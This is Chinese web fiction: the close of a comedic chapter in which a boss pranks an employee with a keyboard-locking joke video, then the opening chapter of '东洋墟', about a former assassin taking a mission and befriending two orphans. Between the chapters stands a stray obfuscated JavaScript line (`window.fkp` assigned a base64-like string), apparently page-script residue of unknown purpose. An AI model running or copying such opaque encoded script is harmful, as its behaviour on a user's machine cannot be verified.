“你也没犯错呀,干嘛道歉呀?(′?w?`)” 江南彼岸花: “我没犯错吗?不对呀,我明明......那时冲你喊来着。(°ー°〃)” 红的花是绿的草: “哦,你说那事啊。” 江南彼岸花: “按照公司的标准,我这种行为就是典型的以下犯上,是要重罚的!” 红的花是绿的草: “罚就罚呗。┑(·Д· ̄)┍” 江南彼岸花: “嗯。” 红的花是绿的草: “今天你买那种违禁物品的事......” 江南彼岸花: “我全责。要罚什么您说,我绝对执行。” 红的花是绿的草: “你啥时候这么听话了?” 江南彼岸花: “我不平常就这样吗?” 红的花是绿的草: “说!你是谁?你把玛丽哈娜绑到哪里去了?” 江南彼岸花: “不,不是啦。我就是我,玛丽哈娜。” 她没有注意到,她的脸上这时浮现起了一抹淡淡的笑容。 红的花是绿的草: “不,你肯定是绑匪。” 江南彼岸花: “别闹了,老板。我真是玛丽哈娜。” 红的花是绿的草: “你得给我证明!(·へ·)” 江南彼岸花: “咋证明?” 红的花是绿的草: “你说一件我和玛丽哈娜都不知道的事情。” 江南彼岸花: “啊?这......我说不出来。” 红的花是绿的草: “那你就是玛丽哈娜本人了。” 她被碧蓝苍穹逗笑了。 江南彼岸花: “嗯呢。╰(*°▽°*)╯” 红的花是绿的草: “其实......坦白说吧。今天这事我丝毫没有在意,我懒得记那些事情。你买了那种污秽的东西,今天着实让我开了眼界。要不是你,我还不知道这世上有这种奇妙的东西呢。” 一回想起今天那尴尬无比的事,她就感觉脸红难堪。那种事情要是被别人知道,那可就是社会性死亡了。 江南彼岸花: “老板,我没脸回去见您了。(≧□≦)” 红的花是绿的草: “没脸?那没事,你来就行。” 江南彼岸花: “我怎有胆量呢?我身上已经贴上那样的标签了,是撕不掉的。别人见了我,得在背后嘀咕我、骂我、侮辱我的人格。┌(。Д。)┐” 红的花是绿的草: “放心,这事只有我和杰知道。保密工作已经帮你做好了,不用担心别人的风言风语。他们可没有证据。” 江南彼岸花: “可是......您知道的呀!(oдo)” 红的花是绿的草: “哦,我好说。——你这事我不在乎,计较这事也没啥用。┑(·Д· ̄)┍” 江南彼岸花: “老板,你不在乎的吗?Σ(っ°Д°;)っ” 红的花是绿的草: “这事谁还会在乎呢?不就是跟刺吗,又不是啥特别的东西。(′?w?`)” 她的脸上浮现一抹感动的笑容。顿时那糟糕的情绪都消失不见了,她感觉心中是风暴已去,晴空万里。 江南彼岸花: “老板,你真好。o(*·▽·*)o” 红的花是绿的草: “我好你还跟我喊?o(-ヘ- o#)” 江南彼岸花: “人家这次错了嘛,原谅人家好不好。o(^▽^)o” 红的花是绿的草: “行,看你这么虔诚的份上,就原谅你了。” 江南彼岸花: “嗯。老板最好了!n(*≧▽≦*)n” 红的花是绿的草: “明天若还难受的话就别来了,在家休一天吧。” 江南彼岸花: “我没事,老板。明天我肯定来工作。o(〃'▽'〃)o” 红的花是绿的草: “那最好。还有——今晚玩得愉快哦。我可给你买了一箱子。(^?^)” 江南彼岸花: “诶呀!老板,你......你最坏了!(*≧▽≦)” 红的花是绿的草: “awa。” 她放下手机,走到房间外把那个被扔出去的包裹捡了回来。她掂量了下包裹的重量,发现重量有点轻。她有些好奇,拿出包裹内的一个小盒,很紧张地将小盒打开。她将手伸进去一掏,掏出一朵小花。她一脸疑惑,又反复打量了一下包装盒。包装盒是没错,可里面的东西却对不上。 玛丽哈娜: “诶?这里面怎么会是这东西呢?” 然后,她把每个小盒都拿了出来,并一一打开。不出所料,里面全都是稀奇古怪的东西。粉袜子、钥匙挂、钉子、锤子、手电筒、游标卡尺、蝴蝶结......这还说得过去。再往下开,东西就变得离谱了起来。道德经、诗经、论语、小字典、锅铲、厨艺秘籍......这就跟开盲盒一样。最后开来开去,她在最后一个小盒之中找到了不一样的东西。 那是一个黑色U盘,U盘上贴着带有禁止符号的贴纸。她瞬间秒懂,迫不及待地来到电脑旁,将U盘插上,紧接着打开了U盘内的文件。U盘内只有一个视频文件,视频文件的名字叫:学习资料。她抱着好奇心点开了这个视频,不一会就弹出了一个防火墙警告窗口。她熟练地关闭了防火墙,接着颇有期待地看着这个视频。 视频的开头出现了一个大大的禁止符号,并标注这是高级隐秘资料。接着,就弹出了标题。 玛丽哈娜: “永远也不放弃你?这是什么样的影片?” 她的脸慢慢凑近了屏幕。这时,视频画面黑了。她一脸疑惑地看着屏幕,期待接下来出现的画面。突然,鼓点一响,音乐一出,视频突然有了画面。不过与她想的不同是,出现在视频中是在舞台上唱歌的碧蓝苍穹。 碧蓝苍穹先小跳了一会舞,接着开始唱歌。 “we're no strangers to love.” 玛丽哈娜一脸懵,这与她想的完全不同。她隐约回想起之前曾见到过老板这样,那时她的表情也如现在一样。 玛丽哈娜:: “?” (“A full mitment's what I'm thinking of.”) 玛丽哈娜: “??” (“You wouldn't get this from any other guy.”) 玛丽哈娜: “???!” (“I just wanna tell you how I'm feeling.”) 玛丽哈娜十分疑惑地说: “这是......这是什么鬼呀?!” (“Gotta make you understand.”) 玛丽哈娜连按Esc键,可此时Esc键像是失灵了一样,无论她怎么按都没有反应。玛丽哈娜很着急,她很想关掉这个视频。 “Never gonna give you up.” 可越是着急,键盘就越是不灵。Esc没有反应,她就转去按系统键。 “Never gonna let you down.” 系统键也失灵了。她在键盘上瞎按一气,试图通过这样的方式弄出其他应用,但并任何作用。 “Never gonna run around and desert you.” 她用鼠标疯狂地去点系统图标,系统图标点了半天没反应。 “Never gonna make you cry.” 她就去点视频右上角的关闭键,结果关闭键也没反应。 “Never gonna say goodbye.” 她气上心头,用手狠狠敲了下键盘。嘬了几口脏话,心里恼怒至极。不知为何,她这么想关闭这个视频。 “Never gonna tell a lie and hurt you.” 这时她想到可以去拔电源线,于是俯下身去准备去拔。就在这时,她的手机铃声响了一下。她一听,就知道有人给她发消息,本能地抬了下头。这一抬头,就不小心撞到了桌子。 “诶呦!” 她叫了一声。她站起身来,找到手机,打开手机一看,竟是碧蓝苍穹给她发了消息。她立即点开聊天界面,一睹碧蓝苍穹发来的信息。 红的花是绿的草: “嘿嘿!我就知道你会打开那个视频的。你怎么可以这样,想得太多了孩子。你被骗了!” 红的花是绿的草: “是不是关不掉这个视频呀?嘿嘿,我可专门找科技部的人在视频文件里藏了病毒,这病毒是专门防止你看视频看到一半退出的。不看完视频是解不开的哦!” 红的花是绿的草: “怎么样?是不是非常惊喜?快,谢谢我。” 玛丽哈娜立马回了一句: “谢,谢,老,板。” 红的花是绿的草: “玩得开心哦!” 玛丽哈娜打了三个字: “你,他,妈。” 这三个她很快删掉。然后很快回了一句: “嗯呢。” 玛丽哈娜放下手机,转头看向电脑屏幕。屏幕中播放的视频里碧蓝苍穹唱着歌,手舞足蹈地像个滑稽的小丑。她望着视频中的碧蓝苍穹,傻傻地笑了。并非被逗笑,而是她想笑。她诚挚地笑着,心里不知是怎样的温热。 “碧蓝苍穹,你可真是个屑老板。又坏又有魅力,心底里都是鬼点子。今天这一天糟透了,我也糟透了。一时的好奇与冲动惹来这么多麻烦,真的不值当。还好有你帮我救场。” “说真的,我从你我的影子中看到了,我们其实有很多相似之处。也许是志同道合,又或许是臭味相投。也许有一天......我们能够真正并肩在一起,一起成为救世英雄,或一起成为彻头彻尾的坏蛋。” 这件事在此画上了句号。玛丽哈娜的人设已经崩了,公司内知晓此事的人都知道了她真实的样子。在知晓者中,对此事最不在乎的人当属碧蓝苍穹。他一手将此事掩盖过去,目的是为保住玛丽哈娜的形象,以便她还能在公司里混下去。至于是因为什么,这就不得而知了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东洋墟—第一话:不平凡的一日 通历43年9月1日,一个注将不平凡的一天。在东洋墟的晨间,清新的空气伴着曙光悄然到来,今天又将是个不错的晴天。生机勃勃的绿茵在早晨起舞,树木在光的滋养下蓬勃生长。这里每一寸土地都散发希望,希冀的种子就在这样的土地中发芽。黎明的光辉带来遍地的黄金,轻轻用手一捻就是几粒黄金尘埃。四处眺望,没有一处不是金光眷顾的。炙热的太阳带来耀眼的白昼,光明就在这片土地上自由地起舞。舞动清风,舞动生机,舞动生命的气息。烈阳带来温暖,云彩带来甘露,晴空带来希望,生命带来诗歌。 “不曾拥有光明的人们呀,在这遍地的黄金之中寻找你的光吧。太阳是永恒的黄金,我们是永恒的黄金之子。不必惧怕黑暗,太阳仍会升起。即便见不到正午的壮丽,但最后落日也依然绚丽。” 一位无名老者站在山峦之巅,眺望着远方的都市,深情地说道。 “失色的人啊......找到你的光彩吧。为你的世界添几分色彩,别让单调伴随你的一生。哦,最后别忘了,去捞点爆米花和汽水。” 说完,那位老者发出了爽朗的笑声。在那笑声之中,藏着他接纳红尘的释然。没人知道他是谁,也没人知道他来自哪里。只知道这世上有这么个人在,却不知他何时活着、何时死去。 与此同时,在城市内的某处...... 铃......铃......铃...... 一个闹钟响了。紧接着一只粗糙的大手搭在这个闹钟上,将这个闹钟关掉。关完闹钟后,那只手的主人下了床,去衣柜里挑选衣服。他选中了一件黑色的西服,他伸手去拿,在触摸到这件西服的时候,他突然放弃选择这件西服。最后,他选了一身再平常不过的服装,淡蓝衬衣配褐色条纹裤。他照了照镜子,又摆了几个姿势,他对镜中的自己充满了自信。 “对,就是这样。看起来帅多了。” 他走出卧室,收拾了下有些乱的客厅。收拾完,他走过餐桌,不小心碰倒了他放在桌角处的两瓶啤酒。 “这咋还有两个瓶子?我昨天忘收拾了?” 他拿起这两个瓶子,顺手扔到了垃圾桶里。他走进卫生间,好好洗了把脸。今天对于他来说可不是普通日子,他得好好弄下个人卫生。他把留长的胡子挂掉,又梳了梳自己的头发,将原本有些邋遢散乱的发型梳得利整。他打量了下镜中的自己,觉得把头发剪短点合适。 “还是有点太长了。干活的时候留这么长可不行。” 走出卫生间,他来到厨房,开始做今天的早饭。边做饭他边哼着歌,哼着他所爱的歌。他做饭的时候,能一睹他笑着时的样子。做过早饭,他将早饭整整齐齐地放在餐桌上,摆好。他没着急去吃,似乎有什么比吃饭还要重要。 他来到阳台,戴上一对园丁手套,开始每日的园丁工作。所谓园丁工作,就是护理他种的这些花。缺水时给花浇水,缺肥时给花施肥,阳光太晒要把花放到阴凉处,有虫害了要拿出让鸟捉一捉害虫。他总共护理八盆花,原本是十五盆,后来因为某些原因那些花凋零了。每种花的花色都不一样,而且开花季节也各不相同。牡丹、杜鹃、仙人掌花......他把他能认识的花都各栽了一株,都养在他的小花园里。 对于他来说,花是神圣的象征。栽花一种神圣的仪式,只有在栽花时他才觉得自己活着。 照顾完花,他从客厅的电视机后面拿出一把银白色的钥匙。用那把钥匙,他打开了一个卧室的门。他走进去,环视一圈,屋内没有落灰尘。这间卧室自打装修以来就没住过人,可在他身处低谷的那段日子,陷入无尽痛苦而厌倦一切的他,唯一爱护的东西竟只有这间卧室。他从未让这卧室脏过,就连这里落了一粒灰尘他都无法容忍。这份看似意义不明的坚持,对他来说却是最有意义的事情。 “它还很干净,很不错。” 这间卧室内放满了承载回忆的东西,但它们不是杂乱堆砌在一起,而是井然有序地放着。他很细心,他没丢下任何一处细节。就连那个放在断了耳朵的兔子玩偶他都没放过,精确还原细节。他在这间卧室内小心翼翼地拿走一个相框,走时还不忘将自己的痕迹清扫干净。 他轻轻地将这个相框放在餐桌上,相框内的照片正对着他。他坐在餐桌旁,深情地注视那个相框。相框里的是个相貌一般的年轻姑娘,却是他眼中世上最美的姑娘。他用手轻轻抚摸相框的边缘。他不敢触碰相框内的照片,他怕自己的手会脏了这张宝贵的照片。 “亲爱的,你在那边过得怎么样?” 这般深情的话语,他却流不出一滴泪来。因为他的泪早已流干,眼角干涸的他挤不出一滴泪水。 “不用担心我,亲爱的。我过得很不错。——亲爱的,我很快就能逃离囚笼,重新赎回自由。你会为我高兴吗?我猜应该会吧......” 他冲着相框中的照片露出一抹灿烂的微笑,又对着那张照片竖了个大拇指。在过去,这是他与朋友之间的一种特殊打招呼方式;即表示认可,又表示真心。能让他以这种方式打招呼的人屈指可数,可惜都不在了人世。 吃完早饭,他向老板请了一天假,然后拎着一个手提箱出了门。根据事先约定,他提着手提箱到了指定地点。刚到那里他就碰见了来送东西的杰。杰靠着墙听音乐消磨时间,见他来了,立即停止听歌。杰走到他面前,将一个U盘交给了他。 杰: “这里放着有关这笔交易的全部信息。你的目标、任务要求、注意事项以及一堆对任务有利的情报。” 他拿过U盘看了一看,随后打开手提箱,将U盘放了进去。 杰: “随时听电话。一旦任务的时机合适或是有什么风吹草动我都会及时通知你。切记,执行任务时一定要戴合金面具。我们不希望你在任务过程中暴露身份。” 陈思成: “这你放心。这方面我曾是专业的。” 杰: “那就好。——平时你就好好干你的小区保安,别做太出格的事情。记住,别跟太多人接触、别把有关任务的任何消息传出去、别给我们耍小聪明,我们时刻监视着你,陈。” 陈思成: “明白了。” 说完这些,杰转身离去了。看着杰离开的背影,陈思成有种说不出的憋屈。在他沦落到如今的境界之前,他从来都没像现在这样对某个人、某个势力言听计从。他曾是桀骜不驯的野狼,如今却成了笼中之鼠,属实令他觉得憋屈。 陈思成心里: “忍一忍吧。等我处理完这一单,我就一走了之,去一个没有人认识我的地方度过余生。无奈呀!真的是无奈呀!我本想洗净我这双沾满鲜血的手,可......算了,回家收拾收拾,准备进入‘非常时期’。金盆洗手的事,推迟到以后吧。” 陈思成拎着手提箱回了家。回到家后,他先将手提箱放到一旁,然后他忙了一会家务,将自己的居所收拾得干干净净。收拾完屋子,他再次拿出那把银色的钥匙,打开那间卧室的门,他迈着沉重的步伐走了进去。他趴在地面上,将手伸进床下,从床下拉出一个长条形的银边武器盒。他拎起武器盒回到客厅,接着用手拍散了上面的灰纱。灰纱散去,武器盒上失色的标志浅浅显现了出来。他轻抚这武器盒上的标志,轻抚他流过身旁的岁月。 “好久不见了,我的朋友。我本以为你们会永眠在她的床下,与我那不堪入目的过去一起。可世事无常,变数多于定数。很抱歉,我叫醒了你们。” 他打开武器盒,一把魔剑和一把长剑交叉着躺在盒中。魔剑整体色调暗淡得有些发蓝,造型端庄中带着点点魔幻,剑锋上的寒芒至今仍令人胆寒。长剑整体色调偏白,剑身是亮眼的银白色,剑柄和护手是阴郁的浅灰色,一朵美丽的、盛开着的铃兰花雕刻在剑身上,护手上还有罗蔓藤纹装饰,这真是一把美丽的剑!美中不足的是,这把剑的剑锋并不完整,上面有点点裂痕;还有那岁月侵蚀的痕迹遍布它的全身。它是见证者,见证了一段故事的始末...... 他将魔剑拿出武器盒。 “渊啊,我们又要并肩作战在一起了。我曾放下过你,现在又拿起了你。庆祝吧,我们还有一场战役要打。” 他将长剑拿出武器盒。 “亲爱的,我们再一次并肩作战吧。你剑上的铃兰花,还盛开着呢。” 双剑重回他的双手,熟悉的感觉又一次涌上心头。但他总觉得还缺少些什么,只是武器可还不够。他将双剑放在沙发上,回到自己的卧室,打开衣柜找到那件他不想触碰的西服。他脱去身上的衣物,换上了那身他最不想再次穿上的衣服。 外套野狼纹黑西服,内穿白衬衣,下身死神黑西装条纹裤,外加打上红领带。最为重要的,一双带银色指刺的黑色手套,那是他身份的象征。他西服的正面纹路是一只咆哮的野狼,这个标志曾是他所爱的那个乐团的。他全身上下的衣物都加装高强度纤维,这种纤维在保持柔韧性的同时还具有一定的坚硬度,抵挡一些小型锐器不是问题。这是来自龙辉神匠的智慧,他那时花高价请人专门定制。 “老战友,想不到我竟还有再次穿上你的时候。” 他照了照镜子,又简单摆了几个姿势,他的表情之中缺乏一点点自信。 “如当初一样......不变的着装,不变的野狼。那改变的是什么呢?” 他回到客厅拿起那两把剑,顿时感觉那曾失去力量又回到了自己体内。这下他感觉到不只有熟悉,还有几分亲切与说不出的滋味。当他穿上熟悉的衣服,拿起熟悉的武器时,曾经的那个刽子手回来了。可惜,那个刽子手是残缺的。 “熟悉的感觉,但不是熟悉的我。变了,都变了呀。” 他将双剑重新放回武器盒中。他又一次拿出钥匙,再次从那间卧室里拿出了那个相框。他将相框放在茶几上,他单膝跪地,深情地注视相框上的她。看着相框上已故的斯人,他心里涌显出了无尽的愧意。那份愧意很复杂,又很真切。那份愧意出自他的内心。 “亲爱的,对不起,我毁约了。我答应你在我复仇之后就金盆洗手,放下我的武器去安分守己地过日子。希望你能原谅我,老婆。我也是迫不得已......” 他的鼻子一阵发酸,即便他本身已经对此麻木,但泪花还是泛起在他的眼角。沙漠也是会下雨的,只是雨来去得太快。 “亲爱的,我要去投身战斗了,祝我好运吧。嗯......期待我凯旋的消息吧。爱你,老婆。” 说完,他将这个相框放回了那间卧室。至此,那身行动的装备就无时不刻放在他的衣柜之中。一旦任务命令下达,他就会穿上这身属于刽子手的装备,去执行那未知且危险的任务。办完这些,他打开手提箱,拿出U盘,并将U盘插入到他家许久未用的一台电脑上。打开电脑,他点开U盘的储存空间,看到了那些任务资料。他仔细地看上了好一会,大约一个钟头后,他明白了一切。 碧蓝苍穹下达的任务要求总结下来就是三点: 第一,见头领,抢护符。 他需在碧蓝世界提供的经费赞助下去到四个地方见四个组织的头领,从他们手中分别夺来四个天启护符。行动不限手段,必须一次性完成护符的抢夺,并且不能吸引到外界注意。该任务只许成功不许失败。 第二,找情报,查用法。 他需在任务执行区域内收集并记录一切有关天启护符的信息,尤其是用法、作用和由来这方面的消息,必须要仔细记录。在任务结束后将所获信息一一上传给碧蓝世界那边。信息的收集不限手段,但不能影响到主任务的进行。 第三,安分等,来信动。 他需在等待任务的过程中保证平凡的生活,不能与外人有太多接触,更不能与人法生冲突。若出现突发情况需要及时并报,若有人故意找茬可以予以还击。不许到处乱走,只能在任务要求允许的区域以内行动。更多不允许的事情详情请见《碧蓝世界管理陈思成一百条法规》。他只能在杰发出任务提醒信息之后才可以行动,其余时间只得待命。 这任务的要求对于他来说限制很多,他只能像打副本一样走固定路线,这会降低他成功的概率。不过碧蓝世界那边不允许他有失败,他即便抱怨再多也得咬着牙去干。憋屈,实属是憋屈。这是交易的一部分,战斗、办事是他唯一的筹码。他的自由正在许诺的彼岸等待,不知他这次能否触及。 碧蓝世界提供的资料内只有简短的几句话,对于他来说几乎是派不上什么大用场,但总归还是有点作用。资料中介绍那四个护符的名字,以及它们对应的掌握者的名字与简介。 资料: 饥之护符,掌握者玛格丽特,性别女,身份是何罗邦的重要骨干,等级未知。人颂外号老板娘,专属称呼为血肉之刃。 战之护符,掌握者佐伊·法兰,性别女,身份是帝国组织第七军团团长,军衔少校。人颂外号寒树渡鸦,专属称呼为代号:渡鸦。 疫之护符,掌握者葛洛或夜歌,性别男,身份是一家养生堂的堂主。人颂外号夜歌,专属称呼夜歌。 死之护符,掌握者郜,性别男,身份是人寿保险公司老板兼星凝藤萝协会会长,等级二星都市之光。人颂外号紫烟,专属称呼断命。 他看过资料,将U盘拔出,然后将U盘藏了起来。做完这些之后,他热了热昨天的饭菜,简单吃了顿午饭。吃完午饭,他寻思宅在家中无聊,就出门上街逛逛。街上不算安静,车声人声不绝,街上行人也络绎不绝。这样的景象他每一日都能看到,无论过去还是现在。他对这种景象有过留恋,对故乡深深的怀念。在这样的景象中,他难免回想起过去的日子,那段在黑暗中追寻光明的日子。 走过一处巷子,他不知为何转头看向了巷子内。本能的警觉令他熟悉,不过这里的巷子可不会藏着敌人。他出于一些特别的心理,走入巷中,回味那曾令他战栗的日子。他走到巷中一处开阔平地,突然迎面走来一人。那人走到他身前三四米处停下,拿出一根球棍,双眼死死地盯着他。 那人看起来十七八岁的样子,灰色头发,褐色眼睛,黄皮肤,身着一身灰白色的战斗装。他身形有些许瘦弱,有一点弱不禁风的样子。看他这架势,像是一位武士,但缺少武士该有的霸气。 那人颇为紧张地对陈思成说: “你......你看起来很厉害。能不能......当我师傅?” 陈思成一脸疑惑。这个突然出现的少年与自己素不相识,竟开口就要拜自己为师,这着实令他不解。陈思成告诉他: “乱信陌生人的话,是很危险的,小子。” 那人很坚定地说: “不危险!只要我能找到师傅,再大的危险都不是危险。” “抱歉,小鬼。我一点也不厉害,我当不了你的师傅。” “少骗人了!我都嗅到了,你身上散发着强者的气息。” “那是你的鼻子失灵了。” “当我的师傅吧。我会用努力向你证明我并不笨。” “你笨不笨跟我有什么关系?老子不想当你的师傅。别挡路,小鬼。” 陈思成迈步向前,那人顺势阻拦。那人坚定地说: “我不会让你过去的。我今天一定能说服你当我师傅的。” “我说了,别挡路,小鬼。” 陈思成的全身散发着令人窒息的霸气。这股霸气令那人不由得感到恐惧。尤其是当那人注视陈思成犀利的眼神时,那份恐惧更加剧烈了。那人顶着恐惧,故作勇敢地说: “我会用实力向师傅你证明的!” “好!让我看看你是几斤几两。” 战斗开始,陈思成站在原地不动,等待那人出招。那人没放过这个机会,使用棒槌进行连打,收效甚微,陈思成全部躲开。陈思成耸肩摊手嘲讽,激怒了那人。那人很生气地说: “别把人看扁了。” 陈思成在原地一动不动,等待对方出招。那人用出的一招一式都收效甚微,陈思成用灵活的身法与高超的招架术完美化解。即使那人的攻击打中陈思成,但对陈思成来说不痛不痒。那人出了三招,身上就开始涌现疲惫之意,而陈思成这边还精力充沛着,由此可见两人的实力天差地别。 那人使出第四招跳劈,陈思成不再静默,一招锁喉爪直接打断那人出招。陈思成使出旋体重摔,用体术将那人摔飞出去,造成重创,那人被摔飞出去后疼痛万分,同时失去了手中的棒球棍。陈思成乘胜追击,使出狩猎者措施,使用体术释放连打,打得那人连连后退。 最后一击,陈思成一个侧踢腿对那人进行处决,直接结束战斗。 那人在地上滚了几圈,身体撞到了一面墙停了下来。他哀嚎着起身,眼角的泪水佐证他的失败。陈思成迈步向他那里走来,陈思成抬手,正准备再补上一拳。突然那人捂住脑袋,蜷缩起身体,面相十分恐惧。 “别打了,别打了......” 那人哀求道。看着眼前的这一幕,陈思成的拳头静止住了。回忆似潮水一般涌回,他回想起了一段痛苦的回忆。 眼前的这一幕如许多年前的那样,那时他也是这个年纪。那时的他被一名都市猎人打败,战后他被人教训的时候,他向那名都市猎人哀求。可即便他一遍又一遍地哀求,坚硬的铁拳也没停止过殴打。他那时是那样的弱小、无助、害怕,那铁拳可不止打在他的身上,更打在他的心上。他多希望有人来能帮他一把呀,可是谁也没有来...... 最后他被打得全身是伤。他艰难地从巷中站了起来,孤独地蹒跚着走出巷子。他忍着全身的伤痛,也忍着心灵上的伤痛。泪水遍布他稚嫩的脸颊,在漆黑阴暗的巷子中他看不到光明。阳光,照进巷子,照在他的身上,可照不进他的心。直到最后,也依然没有人来...... 那年,他才十七岁。 陈思成放下了拳头。他伸出手,想要拉那人起来,可那人害怕地逃开了。那人向着巷子外奔去,他见了急忙跟了上去。他追着那人的步伐,不肯放弃。他的心与这件事发生了共鸣,他心里的执念让他不敢停下一步。曾经的伤痕今日隐隐发痛,这份痛苦他不想再从其他人身上见到。 陈思成心里: “追上他,一定要追上他。不管怎样,我一定要追上他!——是不是我给予他一个拥抱,他就不会和我当初一样?” 陈思成紧追不舍,追着他一路到了一间破旧的出租屋外。刚到出租屋外平地的一刹那,陈思成顿时愣住了。一个非常瘦弱的银发姑娘坐在塑料椅上,那人护在她身前,手里攥着一把锋利的唐刀。面对陈思成,那人迈步向前。尽管手正颤抖着,但那人依旧勇敢如卫士一般,保护身后的她。这一幕让陈思成深受感动,陈思成的心与之产生了共鸣。 “有我在,你休想伤害她分毫。既然是我惹了你,那事情也就该在我一人头上算。” 那人鼓起勇气,勇敢地说道。陈思成往前走了一步,那人本想着后退,但一想到身后的她,便没有退缩,继续往前走了一步。见那人如此,陈思成又往前走了一步,那人面不改色,让坚守在原地。陈思成停步,告诉那人: “把刀放下吧,你们两个一起上都打不过我的。” 那人听了,有些手软。但考虑到身后还有个人要守护,他还是没能放下刀。这时,他身后的那个姑娘轻声对他说: “不用管我,你先跑吧。” 他转过头去,冲那个姑娘大声说道: “不行!堂堂男子汉大丈夫,怎么能让女人来替我受罪。” 那个姑娘轻声反驳道: “要是你不走我们可能就一起死在这里了。” 他露出一抹淡定的笑容,说: “那也不错。生一起走,死了也一起。” 两人的对话让陈思成更加感动,这同时也勾起了陈思成的回忆。陈思成露出一抹微笑,告诉两人: “不必弄得那么煽情,我又不是来杀你们的。” 那人转过头来,一脸惊愕地问: “那你是来干什么的?” “我只是单纯好奇,你为什么要我当你师傅。” 陈思成解释道。那人听陈思成这么说,松了一口气,把刀放下了。陈思成打量了那人和那个姑娘一番,发现他们身上的着装很破,甚至连他平时穿的保安服都比不上。这勾起了陈思成的同情。陈思成又打量了一番他们的住所,发现住所也很破旧,这与他以往的观念发生了冲突。 陈思成心里: “奇怪?地平区不该没有贫穷存在吗?难不成,是他们骗了我们这些底层人?他们说谎了......” 打量完他们,陈思成问那人: “小子,你叫什么名字?” 那人即答道: “我叫泽维尔。你也可以叫我弱子。” 陈思成看向那位姑娘,问道: “这位姑娘,你叫什么名字?” 那位姑娘即答道: “我叫米兰达。” 陈思成问泽维尔: “你今年多大了?” 泽维尔回答: “十七。” 陈思成小声嘀咕道: “跟我那时一样啊......” 陈思成又问米兰达: “那你呢?” 米兰达回答: “我也十七。” 陈思成问他们: “那你们是结伴一起生活吗?” 他们点点头,异口同声地回答: “是。” 陈思成笑笑,说: “不巧的是,我今天不算太忙。带我去你们屋子里看一看,我对你们的故事抱有很大的兴趣。” 在接下来的一段时间里,陈思成看过了他们生活的屋子。那间屋子内处处体现穷酸与拥挤,不合理的格局安排、不合理的房间设计、时不时会坏掉的排水系统,各种问题比比皆是。这间屋子甚至只能用来住人和做饭!这是最令陈思成没有想到的。这间屋子刷新了他对穷的概念,也让他知道所谓天堂的地平区也并非是看上去的那么风光。 带陈思成进屋参观的时候,泽维尔的脸没有一刻是不笑着的,也没有一刻是不红着的。他知道自己的小屋很差劲,也知道这样的屋子是入不了别人眼的。但心底里的那一份纯真与自信,还是让他鼓起勇气带陈思成进去。 陈思成也能看出,泽维尔脸上的笑容实际上是在掩饰,哪有人会真的笑着带别人参观自己的陋室。 在参观过后,泽维尔怯怯地问了一句: “你觉得这间屋子还可以吧?” 陈思成看向他,他的眼里尽是不安,他害怕着也期待着陈思成的回答。陈思成知道他不想被人嘲笑,所以陈思成就编撰了一个善意的谎话,告诉他: “还可以。只是缺少点灯光。” 泽维尔脸上洋溢起一抹笑容。这抹笑容很复杂,陈思成从中看到了隐隐的谢意与真诚。这时,陈思成想到泽维尔身上的伤。 “你这伤还疼吗?” “已经不疼了。” “我下手好像有些太重了。” “没事没事,你这正常力道。” “看来你没少挨打呀。” “那可不是。为了变强,总得做点牺牲。” “你跟我那时挺像,都是渴望变强的臭小子。” “嘻嘻,那您是我的前辈喽。” “算是吧。” 之后,陈思成从他们口中了解到他们悲惨的经历。 泽维尔原本是一个都市猎人家的孩子,他们一家的生活原本非常幸福,直到x事件的爆发。在x事件当中,他的父母双双毙命,家中只剩下了他自己。由于他恶毒心肠的亲戚暗箱操作,他在分遗产时什么也没捞到,他还被一脚踢出了家门,从此开始流浪。他离开家的那一天,他只带走了母亲的钱包、吊坠和父亲的一把唐刀。那是父母留给他最后的东西。 米兰达的出身与遭遇跟泽维尔惊人地一致,都是都市猎人家的孩子,都是因为x事件而家庭破碎。与泽维尔不同的是,米兰达一家是租住在出租屋内生活的。因为米兰达自小患上了一种怪病,她的父母为给她治病花光了家中的积蓄。这种怪病使她的皮肤变得惨白,使她的身躯变得瘦弱,还使她周期性地发病,一次发病就得折磨她大半天。她因无力支付房租而被迫流浪,身体虚弱的她根本无法从事任何工作,因而她在没有钱后的好一阵子是靠别人的施舍为生的。 在一个偶然,两个不幸的人相遇在一起,不出半日就决定携手共度难关。两人同病相怜,彼此照顾,渐渐地就成为了分不开的朋友。米兰达由于有病在身,没有工作能力,但基本的一些家务活能做。按照常理她这样的人不该被收留,可心善的泽维尔偏偏就是个例外。泽维尔虽不强大,但具备一定的工作能力,会干活,也会照顾别人。于是泽维尔一人支撑起两人的生活,他主动承担了家中的一切花销。 泽维尔想要成为都市猎人,可他年纪不够,又没有实力,都市猎人管理协会拒收他。但他仍不放弃,他一直在锻炼自我,努力去提升自己的实力。可弱小就是事实,他打不过那些都市猎人,最低级的也打不过。常常失败的他被赋予了个外号,叫“弱子”。这是带有极大讽刺意味的外号,是对泽维尔最大的侮辱。他发誓自己有一日会将这份侮辱变成赞誉,由“弱子”蜕变成“强子”。另一方面,他想在米兰达面前表现出强大的那一面,他想让米兰达因自己而骄傲。 为了给米兰达治病,泽维尔经常将梦想扔到一旁,选择去做工赚点钱。梦想对于他来说没有朋友重要,为了朋友他甚至可以亲手撕碎他的梦想。米兰达的病需要的药量很大,泽维尔微薄的收入无法承担,但他依然会去买药。哪怕他一次只能卖来了一片,哪怕那一片药是他一周的花销。 米兰达选择将自己的梦想深埋心底,等待以后生活好了再将它挖出来。米兰达想用自己的一生去陪伴泽维尔,陪伴这世上唯一愿收留她的人。米兰达喜欢看书,她喜欢书本知识带给她思想上的晋升。不光如此,她还会偶尔给泽维尔讲讲课,思想晋升这样的好事她不会单独享受,她要拉着泽维尔一起。她一直在增加自己的知识储量,为了未来才能实现的那个梦,也为了泽维尔以及这个家。 每当泽维尔回到家的时候,米兰达会拿出她全部的温柔,尽她所能地让泽维尔开心起来,哪怕一点也好。当泽维尔被人欺负来向她诉苦的时候,泽维尔一般都是不哭的,可她却总会先落泪。她对泽维尔心疼得真切,她不愿见到泽维尔受到伤害。她落泪的时候,泽维尔总能不顾自己的伤痛,用最温柔的话来去安抚她的情绪。明明受欺负的人是泽维尔,她却比泽维尔本人还要伤心。 